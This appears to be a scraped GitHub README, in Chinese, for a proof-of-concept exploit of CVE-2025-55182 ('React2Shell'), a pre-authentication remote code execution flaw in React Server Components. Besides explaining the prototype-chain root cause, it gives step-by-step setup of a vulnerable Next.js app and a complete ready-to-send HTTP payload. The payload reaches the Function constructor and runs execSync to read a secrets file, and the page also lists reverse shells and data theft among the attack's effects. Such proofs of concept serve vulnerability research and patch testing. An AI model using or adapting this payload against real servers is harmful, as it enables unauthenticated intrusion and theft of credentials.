kOaDT/poc-cve-2025-55182

GitHub: kOaDT/poc-cve-2025-55182

CVE-2025-55182(React2Shell)的概念验证,展示React Server Components的Flight协议中不安全反序列化漏洞如何导致预认证远程代码执行。

Stars: 12 | Forks: 3

# CVE-2025-55182 (React2Shell) - 概念验证 ## 概述 本仓库包含 **CVE-2025-55182** 的概念验证演示,这是一个影响 React Server Components 的严重预认证远程代码执行漏洞。 **CVSS 评分:** 10.0 (严重) **受影响版本:** - React Server Components 19.0.0, 19.1.0, 19.1.1, 和 19.2.0 - 包:`react-server-dom-parcel`, `react-server-dom-turbopack`, `react-server-dom-webpack` ## 漏洞摘要 CVE-2025-55182 是 React Server Components 的 Flight 协议实现中存在的不安全反序列化漏洞。该漏洞允许未经认证的攻击者通过构造利用原型链遍历和不安全属性访问模式的恶意 payload,在服务器上执行任意 JavaScript 代码。 ### 根本原因 该漏洞源于 React Server Components 反序列化 Flight 协议 payload 的方式。在处理模块引用时,代码使用括号表示法访问属性 (`moduleExports[metadata[2]]`),这会遍历整个 JavaScript 原型链。这允许攻击者引用未显式导出的属性,包括 `constructor` 属性,该属性提供了对全局 `Function` 构造函数的访问。 通过将原型污染技术与 React 的内部 chunk 处理机制相结合,攻击者可以构造一个最终通过 Function 构造函数执行任意代码的 payload。 ## 前置条件 - Burp Suite Community 或 Professional (或任何 HTTP 代理/客户端) - 易受攻击版本的 React.js 或 Next.js ## 设置说明 ### 步骤 1:创建一个易受攻击的项目 使用包含易受攻击的 React Server Components 的版本创建一个新项目: ``` npx create-next-app@16.0.6 poc-react2shell cd poc-react2shell ``` 或者使用该仓库。 ### 步骤 2:创建测试环境文件 在项目根目录下创建一个 `.env.local` 文件以演示漏洞的影响: ``` SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX ``` ### 步骤 3:启动开发服务器 启动 Next.js 开发服务器: ``` npm run dev ``` 服务器应在 `http://localhost:3000` 上启动。 ## 漏洞利用步骤 ### 步骤 4:发送恶意 Payload 1. 在 Burp Suite 中,转到 **Repeater** 选项卡 2. 将目标 URL 设置为 `http://localhost:3000/` 3. 将整个 payload 复制并粘贴到请求窗口中 4. 发送
点击展开 ``` POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- ```
### 步骤 5:分析响应 响应体中应包含你的 `.env.local` 文件的内容: ![Response](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/2304186721093905.png) ### Payload 该 payload 由三个 multipart 表单字段组成: **字段 0:** 一个包含以下内容的伪造 chunk 对象: - 原型污染引用 (`$1:__proto__:then`) - 一个触发漏洞利用的 Blob 引用 (`$B1337`) - 一个被污染的 `_response` 对象,带有恶意的 `_prefix` 和 `_formData.get` **字段 1:** 对字段 0 的引用 (`$@0`) **字段 2:** 一个空数组 (`[]`) `_prefix` 中的恶意代码使用 Node.js 的 `child_process.execSync` 读取 `.env.local`,并将结果嵌入到错误摘要中。 ## 影响 该漏洞允许攻击者: - 在服务器上执行任意代码 - 读取敏感文件(环境变量、配置文件等) - 建立反向 shell - 窃取数据 - 执行 Node.js 进程有权执行的任何操作 ## 参考 - [CVE-2025-55182 详情](https://www.cyberhub.blog/cves/CVE-2025-55182) - [Next.js-RSC-RCE-Scanner-CVE-2025-66478](https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478) - [React 安全公告](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components) - [Facebook 安全公告](https://www.facebook.com/security/advisories/cve-2025-55182) - [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-55182) - [react2shellcve202555182](https://tryhackme.com/room/react2shellcve202555182) ## 免责声明 此概念验证仅用于教育目的和安全研究。在对任何系统测试安全漏洞之前,请务必确保你已获得明确的书面许可。
标签:0day, CISA项目, CVE-2025-55182, CVSS 10.0, Flight协议, GNU通用公共许可证, JavaScript安全, Maven, MITM代理, Node.js, PoC, RCE, React2Shell, React Server Components, Web安全, Web报告查看器, 前端安全, 原型链污染, 反序列化漏洞, 暴力破解, 沙箱逃逸, 漏洞验证, 编程工具, 蓝队分析, 远程代码执行, 预认证攻击, 高危漏洞